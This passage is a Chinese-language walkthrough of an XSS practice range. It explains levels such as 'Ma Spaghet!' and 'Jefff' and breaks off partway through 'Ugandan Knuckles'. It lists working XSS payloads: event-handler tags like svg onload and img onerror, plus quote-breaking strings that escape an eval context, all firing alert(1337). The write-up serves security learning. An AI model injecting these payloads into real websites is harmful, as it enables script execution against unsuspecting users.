目录
前言
靶场是验证我们学习情况和提升做题技巧很好的平台,这里将为大家介绍一个非常不错的xss靶场,不错不错题目名字属实......
📖Ma Spaghet!
📔特点
按照题目要求,我们开始看题,因为提示在somebody中输入,所以见缝就插,使用script标签试试水,结果不可以,因为HTML 5 中指定不执行由 innerHTML
插入的 <script> 标签,所以这里我们可以使用html的一些事件来通过
📓方法
- 下面的链接中提供了一些html中的事件属性
<svg/onload=alert(1337)>
<img src=1 onerror=alert(1337)
<details open ontoggle=alert(1337)>
📖Jefff
📔特点
这里定义了一个ma,执行语句为eval(`ma="ma name ${插入的语句}"`,如果你直接插入alert其实就相当于执行了ma的值而只会显示一个字符串,所以这里必须考虑先将eval(`ma=“${" jeff}"`)中分割,这样做就相当于闭合了前面的ma,让eval直接执行alert
📓方法
";alert(1337);//
";alert(1337);"
"-alert(1337)-//
"-alert(1337);"
📖Ugandan Knuckles
📔特点
这里过滤了大于小于号,相当于不让你闭合标签&#x